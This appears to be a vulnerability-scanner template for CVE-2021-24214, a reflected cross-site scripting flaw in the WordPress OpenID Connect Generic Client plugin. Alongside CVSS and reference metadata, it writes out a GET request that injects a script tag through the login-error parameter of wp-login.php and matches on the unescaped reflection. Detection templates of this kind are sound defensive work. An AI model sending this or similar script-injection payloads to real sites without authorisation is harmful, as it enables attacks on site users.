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id : CVE-2021-24214
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info :
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name : WordPress OpenID Connect Generic Client 3.8.0-3.8.1 - Cross-Site Scripting
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author : tess
severity : medium
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description : WordPress OpenID Connect Generic Client plugin 3.8.0 and 3.8.1 contains a cross-site scripting vulnerability. It does not sanitize the login error when output back in the login form, thereby not requiring authentication, which can be exploited with the default configuration.
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reference :
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- https://wpscan.com/vulnerability/31cf0dfb-4025-4898-a5f4-fc7115565a10
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24214
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- https://nvd.nist.gov/vuln/detail/CVE-2021-24214
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2021-24214
cwe-id : CWE-79
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epss-score : 0.00369
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cpe : cpe:2.3:a:daggerhartlab:openid_connect_generic_client:3.8.0:*:*:*:*:wordpress:*:*
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metadata :
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max-request : 1
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verified : true
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framework : wordpress
vendor : daggerhartlab
product : openid_connect_generic_client
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tags : wpscan,cve,cve2021,wordpress,xss,wp-plugin,wp,openid
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http :
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- method : GET
path :
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- '{{BaseURL}}/wp-login.php?login-error=<script>alert(document.domain)</script>'
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matchers-condition : and
matchers :
- type : word
part : body
words :
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- 'ERROR (<script>alert(document.domain)</script>):'
- 'Login with OpenID Connect'
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condition : and
- type : word
part : header
words :
- text/html
- type : status
status :
- 200